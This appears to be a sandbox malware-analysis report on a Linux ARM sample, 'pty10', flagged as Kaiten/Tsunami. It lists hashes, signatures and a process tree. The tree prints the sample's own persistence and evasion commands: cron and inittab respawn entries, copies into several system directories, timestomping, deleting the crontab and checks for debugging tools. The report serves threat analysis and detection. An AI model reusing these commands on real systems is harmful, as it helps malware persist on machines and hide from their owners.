Analysis
- max time kernel
91s - max time network
137s - platform
debian-12_armhf - resource
debian12-armhf-20260513-en - resource tags
arch:armhfimage:debian12-armhf-20260513-enkernel:6.1.0-17-armmp-lpaelocale:en-usos:debian-12-armhfsystem - submitted
24/07/2026, 12:14
Behavioral task
behavioral1
Sample
pty10
Resource
debian12-armhf-20260513-en
10 signatures
150 seconds
General
- Target pty10
- Size 782KB
- Sample260724-pec93azblb
- SHA256 bfab96ba9cc070006e1cd2b793ff14b896ac468002284253eeb36a514b532205
- MD5 5073809fc80f0582ec5d95f544b0dd7b
- SHA1 9ad7295dc9e9a4b86ef4e0beaa6bd29c430fc842
- SHA512 570e02f18a8ec05266f428585eb4fa234b402617cc881fc9d23ef60386ee5223132bbffb6f0bb21dc12502e4074bb32634e45c728073ff50cb57fa3d2f257356
- SSDEEP 24576:vnhRZ4obEZv+RSil+j6okRY/zF1qwuXF/:J//bOOl+jaqPeF/
- TLSH T19705336D07AE31455FA74D46BD6B730090F26E943AE9DE0445EC2D3E23EA1F0AB10A5F
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects Kaiten/Tsunami Payload 1 IoCs
resource yara_rule behavioral1/memory/783-1-0x00008000-0x001b85e0-memory.dmp family_kaiten_v3 - Creates/modifies Cron job 1 TTPs 5 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.5jlSNa crontab File opened for modification /var/spool/cron/crontabs/tmp.l2DCai crontab File opened for modification /var/spool/cron/crontabs/tmp.L9Gnss crontab File opened for modification /var/spool/cron/crontabs/tmp.78kBYL crontab File opened for modification /var/spool/cron/crontabs/tmp.V6WDJq crontab - Enumerates running processes
Discovers information about currently running processes on the system
- Indicator Removal: Timestomp 1 TTPs 10 IoCs
Adversaries may remove indicators of compromise from the host to evade detection.
pid Process 823 sh 826 touch 849 sh 870 touch 910 touch 850 touch 869 sh 889 sh 890 touch 909 sh -
resource yara_rule behavioral1/files/fstream-7.dat upx - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself dprp3vvoaqfkf0lw1pht 783 pty10 -
description ioc Process File opened for reading /proc/787/stat pidof File opened for reading /proc/358/stat pidof File opened for reading /proc/801/cmdline pidof File opened for reading /proc/31/stat pidof File opened for reading /proc/342/cmdline pidof File opened for reading /proc/51/stat pidof File opened for reading /proc/57/cmdline pidof File opened for reading /proc/16/stat pidof File opened for reading /proc/19/stat pidof File opened for reading /proc/788/stat pidof File opened for reading /proc/642/cmdline pidof File opened for reading /proc/216/stat pidof File opened for reading /proc/8/stat pidof File opened for reading /proc/27/cmdline pidof File opened for reading /proc/36/cmdline pidof File opened for reading /proc/56/stat pidof File opened for reading /proc/193/cmdline pidof File opened for reading /proc/36/cmdline pidof File opened for reading /proc/779/stat pidof File opened for reading /proc/622/stat pidof File opened for reading /proc/785/cmdline pidof File opened for reading /proc/2/stat pidof File opened for reading /proc/26/stat pidof File opened for reading /proc/798/cmdline pidof File opened for reading /proc/765/stat pidof File opened for reading /proc/42/cmdline pidof File opened for reading /proc/142/stat pidof File opened for reading /proc/30/stat pidof File opened for reading /proc/32/cmdline pidof File opened for reading /proc/342/cmdline pidof File opened for reading /proc/681/cmdline pidof File opened for reading /proc/14/stat pidof File opened for reading /proc/16/stat pidof File opened for reading /proc/20/cmdline pidof File opened for reading /proc/22/stat pidof File opened for reading /proc/30/cmdline pidof File opened for reading /proc/51/cmdline pidof File opened for reading /proc/193/cmdline pidof File opened for reading /proc/676/cmdline pidof File opened for reading /proc/self/maps grep File opened for reading /proc/216/cmdline pidof File opened for reading /proc/785/stat pidof File opened for reading /proc/44/cmdline pidof File opened for reading /proc/23/cmdline pidof File opened for reading /proc/35/stat pidof File opened for reading /proc/734/cmdline pidof File opened for reading /proc/9/cmdline pidof File opened for reading /proc/10/stat pidof File opened for reading /proc/17/cmdline pidof File opened for reading /proc/785/stat pidof File opened for reading /proc/315/cmdline pidof File opened for reading /proc/317/stat pidof File opened for reading /proc/19/stat pidof File opened for reading /proc/51/stat pidof File opened for reading /proc/9/cmdline pidof File opened for reading /proc/32/stat pidof File opened for reading /proc/353/cmdline pidof File opened for reading /proc/22/cmdline pidof File opened for reading /proc/44/stat pidof File opened for reading /proc/333/cmdline pidof File opened for reading /proc/333/stat pidof File opened for reading /proc/1/stat pidof File opened for reading /proc/7/stat pidof File opened for reading /proc/622/cmdline pidof - Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
description ioc Process File opened for modification /dev/shm/pty10 cp - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.bawtz pty10
Processes
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/tmp/pty10/tmp/pty101⤵
- Changes its process name
- Writes file to tmp directory
PID:783 -
/bin/shsh -c "pidof -x strace > /dev/null"2⤵PID:788
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/usr/bin/pidofpidof -x strace3⤵
- Reads runtime system information
PID:791
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-
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/bin/shsh -c "pidof -x tcpdump > /dev/null"2⤵PID:801
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/usr/bin/pidofpidof -x tcpdump3⤵
- Reads runtime system information
PID:802
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/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty10\" > /etc/inittab2"2⤵PID:805
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/usr/bin/catcat /etc/inittab3⤵PID:808
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/usr/bin/grepgrep -v /tmp/pty103⤵PID:811
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/bin/shsh -c "crontab -l | grep /tmp/pty10 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty10 > /dev/null 2>&1 &\") | crontab -"2⤵PID:807
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/usr/bin/crontabcrontab -l3⤵PID:810
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/usr/bin/grepgrep -v "no cron"3⤵PID:813
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/usr/bin/grepgrep /tmp/pty103⤵PID:812
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:815
-
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/usr/bin/crontabcrontab -l3⤵PID:817
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-
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/bin/shsh -c "crontab -r"2⤵PID:806
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/usr/bin/crontabcrontab -r3⤵PID:809
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-
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/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty10\" >> /etc/inittab2"2⤵PID:816
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:818
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/usr/bin/catcat /etc/inittab23⤵PID:819
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:821
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/usr/bin/rmrm -rf /etc/inittab23⤵PID:822
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-
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:823 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:826
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-
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/bin/shsh -c "/bin/uname -n"2⤵PID:829
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/bin/uname/bin/uname -n3⤵PID:831
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/bin/shsh -c "cp -f /tmp/pty10 /dev/shm/pty10"2⤵PID:830
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/usr/bin/cpcp -f /tmp/pty10 /dev/shm/pty103⤵
- Writes file to shm directory
PID:832
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-
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/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty10\" > /etc/inittab2"2⤵PID:834
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/usr/bin/catcat /etc/inittab3⤵PID:836
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/usr/bin/grepgrep -v /dev/shm/pty103⤵PID:837
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-
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/bin/shsh -c "crontab -l | grep /dev/shm/pty10 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty10 > /dev/null 2>&1 &\") | crontab -"2⤵PID:835
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/usr/bin/crontabcrontab -l3⤵PID:838
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/usr/bin/grepgrep /dev/shm/pty103⤵
- Reads runtime system information
PID:839
-
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/usr/bin/grepgrep -v "no cron"3⤵PID:840
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:843
-
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/usr/bin/crontabcrontab -l3⤵PID:844
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-
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/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty10\" >> /etc/inittab2"2⤵PID:841
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:845
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/usr/bin/catcat /etc/inittab23⤵PID:846
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:847
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/usr/bin/rmrm -rf /etc/inittab23⤵PID:848
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:849 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:850
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-
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/bin/shsh -c "cp -f /tmp/pty10 /var/tmp/pty10"2⤵PID:851
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/usr/bin/cpcp -f /tmp/pty10 /var/tmp/pty103⤵PID:852
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty10\" > /etc/inittab2"2⤵PID:854
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/usr/bin/catcat /etc/inittab3⤵PID:856
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/usr/bin/grepgrep -v /var/tmp/pty103⤵PID:857
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-
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/bin/shsh -c "crontab -l | grep /var/tmp/pty10 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty10 > /dev/null 2>&1 &\") | crontab -"2⤵PID:855
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/usr/bin/crontabcrontab -l3⤵PID:858
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/usr/bin/grepgrep /var/tmp/pty103⤵PID:859
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/usr/bin/grepgrep -v "no cron"3⤵PID:860
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:863
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/usr/bin/crontabcrontab -l3⤵PID:864
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-
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/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty10\" >> /etc/inittab2"2⤵PID:861
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:865
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/usr/bin/catcat /etc/inittab23⤵PID:866
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:867
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/usr/bin/rmrm -rf /etc/inittab23⤵PID:868
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:869 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:870
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/bin/shsh -c "cp -f /tmp/pty10 /var/lock/pty10"2⤵PID:871
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/usr/bin/cpcp -f /tmp/pty10 /var/lock/pty103⤵PID:872
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty10\" > /etc/inittab2"2⤵PID:874
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/usr/bin/catcat /etc/inittab3⤵PID:876
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/usr/bin/grepgrep -v /var/lock/pty103⤵PID:877
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/bin/shsh -c "crontab -l | grep /var/lock/pty10 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty10 > /dev/null 2>&1 &\") | crontab -"2⤵PID:875
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/usr/bin/crontabcrontab -l3⤵PID:878
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/usr/bin/grepgrep -v "no cron"3⤵PID:880
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/usr/bin/grepgrep /var/lock/pty103⤵PID:879
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:883
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/usr/bin/crontabcrontab -l3⤵PID:884
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/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty10\" >> /etc/inittab2"2⤵PID:881
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:885
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/usr/bin/catcat /etc/inittab23⤵PID:886
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-
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:887
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/usr/bin/rmrm -rf /etc/inittab23⤵PID:888
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:889 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:890
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/bin/shsh -c "cp -f /tmp/pty10 /var/run/pty10"2⤵PID:891
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/usr/bin/cpcp -f /tmp/pty10 /var/run/pty103⤵PID:892
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty10\" > /etc/inittab2"2⤵PID:894
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/usr/bin/catcat /etc/inittab3⤵PID:896
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/usr/bin/grepgrep -v /var/run/pty103⤵PID:897
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/bin/shsh -c "crontab -l | grep /var/run/pty10 | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty10 > /dev/null 2>&1 &\") | crontab -"2⤵PID:895
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/usr/bin/crontabcrontab -l3⤵PID:898
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/usr/bin/grepgrep -v "no cron"3⤵PID:900
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/usr/bin/grepgrep /var/run/pty103⤵PID:899
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/usr/bin/crontabcrontab -3⤵
- Creates/modifies Cron job
PID:903
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/usr/bin/crontabcrontab -l3⤵PID:904
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/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty10\" >> /etc/inittab2"2⤵PID:901
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"2⤵PID:905
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/usr/bin/catcat /etc/inittab23⤵PID:906
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/bin/shsh -c "rm -rf /etc/inittab2"2⤵PID:907
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/usr/bin/rmrm -rf /etc/inittab23⤵PID:908
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"2⤵
- Indicator Removal: Timestomp
PID:909 -
/usr/bin/touchtouch -acmr /bin/ls /etc/inittab3⤵
- Indicator Removal: Timestomp
PID:910
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /dev/shm/pty10
- Size 782KB
- SHA256 bfab96ba9cc070006e1cd2b793ff14b896ac468002284253eeb36a514b532205
- MD5 5073809fc80f0582ec5d95f544b0dd7b
- SHA1 9ad7295dc9e9a4b86ef4e0beaa6bd29c430fc842
- SHA512 570e02f18a8ec05266f428585eb4fa234b402617cc881fc9d23ef60386ee5223132bbffb6f0bb21dc12502e4074bb32634e45c728073ff50cb57fa3d2f257356
- SSDEEP 24576:vnhRZ4obEZv+RSil+j6okRY/zF1qwuXF/:J//bOOl+jaqPeF/
- TLSH T19705336D07AE31455FA74D46BD6B730090F26E943AE9DE0445EC2D3E23EA1F0AB10A5F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path /etc/inittab2
- Size 147B
- SHA256 8b96259f4ab0c092701259e8fc6f004ad38c74281faea62926b40a8d33c08558
- MD5 80dbe5f0a997ba4b4d95fbe33a01206d
- SHA1 01a904d5d3ce3a30465e9fe5ed9058c15e3dcf4c
- SHA512 32f8868938eef02be63426c434a13724ca0873896446a967661be87c40c8182035d7f215e8748dcf4c21df03fd055ae4f3b11a9351ca0a4f13d16a721124f025
- TLSH T193C04803FC322CAC84F0A22804280002E2834308D1C38B0FC90F39728A08F0A6E7002A
- MD5 SHA1 SHA512 TLSH
- Path /etc/inittab2
- Size 26B
- SHA256 f24f3e30df8aad9492bae5d3a0c3e3a223a30e2269a88ad788e29343bd6093db
- MD5 f7f555488797493aeda7415c1e89575d
- SHA1 82f83553dfdefa7cdb6ad24b58207d0dd0f5f80d
- SHA512 326351fdcc74f33555c4e74edece7f14eca458cac901bbf853d8feb4ed1d1283e95c88395aa2a4481ef8958be44b5601cf350331008ba9a43a5c73336859b078
- MD5 SHA1 SHA512
- Path /etc/inittab2
- Size 56B
- SHA256 48ef014ece85962934660a812d4613935ab385fa83fdaa5eb13500be7b40c87a
- MD5 1e8e72b095f871499889d440ad14122d
- SHA1 fe1d5a63c6dfb8658b255fd6c68d88c8563b17f6
- SHA512 7106b8bd10742561e208b292e2cc3127330ff101cec3aac7e4f59807ee13cbe6669e14ecf2c6d5cf522c6f308aa3a63d628de4b2d06ee2e39b4c2622e43ca6b9
- TLSH T1C1900203F8501D0C91F0A01805000101D2035708D5C70B1E814B29729608F0A6E74002
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.5jlSNa
- Size 215B
- SHA256 9000a4d8408302cf57f1593f4c960be2f92ca0376a7484273e690a1f3632e4ec
- MD5 df7c1ca18a2d1d8ee5371f8f3fa36885
- SHA1 96de0e87599bd90bb450cc33d7a0a42dd67f7559
- SHA512 fe2881851e80d2ba9ae5dcd86811aea97720592de31f81bea005b4945f274a0789e9ef6dd44296e2ea8a27bf2a0ce8c808fd77750e16103fcde5254a0547bd9c
- TLSH T10ED0233C3F306C343D040B54147B11595D8390FD801DDE41E1DD4414110E74E6F51931
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.78kBYL
- Size 348B
- SHA256 f6a4bdaee1e213e2b88671af8dd33d6ea09a91552b3b7c049e2474b722c118db
- MD5 598c3dafb89b658f09cd34ad054142b6
- SHA1 1529378b87559af956f72778267dabd27176d532
- SHA512 c44a9818dee0b057ce3235c1f67e2cbc6cf6ec987f07666034d0c49a7295d82668da1628f2fed4b355487585c713987434e08c0a3dac2945983f8b48f586bc95
- TLSH T13FE086387F315CB9798C4E7818AF61969BC3656D402DAE45F1CED420254D74BE772B30
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.L9Gnss
- Size 303B
- SHA256 342412a80fa1225f8bfaa0c74c93a57bfd4f8c38ff546b8ee1073b267faa2c99
- MD5 62afb75ac1a501e65b590843cf31b41e
- SHA1 baa87fdb764a24cf6e0d1ee210124d69ebf56461
- SHA512 6f96b2a8eb771cf0deb7e695258b8d557b99e13bbb8e5ad6e96bb8493b94f80bf7261381f1bd6f0aec2826abe2eec19f998acb2511b728a265040e693b815f8f
- TLSH T133E0C2387F306C7879484E7818AB61969B83A5AD802DAE46F1DE9420214E70BE732A30
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.V6WDJq
- Size 392B
- SHA256 dde8106ddb4cf044bf87ff51d4eca3fc3ef80719b00811a1269c8651eccd9a71
- MD5 18e594b3ebdeba17517efe23008b8339
- SHA1 ac87dd09cfecfae2415f76a9be8f89aea863eae8
- SHA512 7b951848bf1d52adfdfab722b1fb40685ca093c83369b776e69b4b1e9acce97f2aea342394c00dc439141183ea32868397d6580fb209bac3cdf0c8d394ec171a
- TLSH T115E01238BF315CA97D8C4E7818AF61969BC36569402D6E46F1CEE420254D74BA672B30
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.l2DCai
- Size 259B
- SHA256 afc9b2c0aac06c20f7e930fac2e12ce5a99c39e5e937c0b225ea6571ae304471
- MD5 5294bbaf21d313c294b9260a962e26fd
- SHA1 9ee261a55be4476ff828bc78761aa2c910a60952
- SHA512 92b962a4f11dfc2c6436dfbdd317d19a4ab4c46a1bbc2b59d0487cd60e510619e8a082f8b7f3c8a01bbcc509e4f7783add9227ce05dae6a1803762e9e0c51d7e
- TLSH T10ED02B387F205C3439080A34146B11565A8364AD801D9E41F0DD8410110E70BA721A20
- MD5 SHA1 SHA512 TLSH